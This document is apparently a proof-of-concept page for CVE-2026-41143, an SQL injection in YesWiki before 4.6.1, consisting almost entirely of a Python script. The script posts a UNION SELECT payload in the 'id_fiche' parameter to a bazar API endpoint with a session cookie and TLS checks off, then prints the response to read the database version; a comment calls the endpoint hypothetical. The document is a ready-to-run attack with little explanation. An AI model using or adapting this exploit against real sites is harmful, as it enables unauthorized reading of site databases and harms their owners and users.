CVE-2026-41143 YesWiki SQL注入漏洞

#!/usr/bin/env python3 import requests # Proof of Concept for CVE-2026-41143 # Target: YesWiki < 4.6.1 # The vulnerability exists in the 'id_fiche' parameter of the bazar module. def exploit(target_url, session_cookie): headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Cookie": f"PHPSESSID={session_cookie}" } # Payload to extract database version (MySQL) # The injection point expects an ID, so we close the quote and append our query sqli_payload = "1' UNION SELECT 1,2,3,version(),5,6,7,8,9,10-- -" data = { "id_fiche": sqli_payload, # Other required POST parameters might be needed depending on the form structure } # The vulnerable endpoint is typically where EntryManager is invoked # Adjust the endpoint path if necessary based on specific YesWiki configuration url = f"{target_url}/?api/bazar/entries" # Hypothetical endpoint mapping to EntryManager try: response = requests.post(url, data=data, headers=headers, verify=False) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check response content for database version output.") print(response.text[:200]) # Print partial response else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://target-yeswiki-site.com" # Low privilege session might be required based on CVSS PR:L session = "valid_session_id_here" exploit(target, session)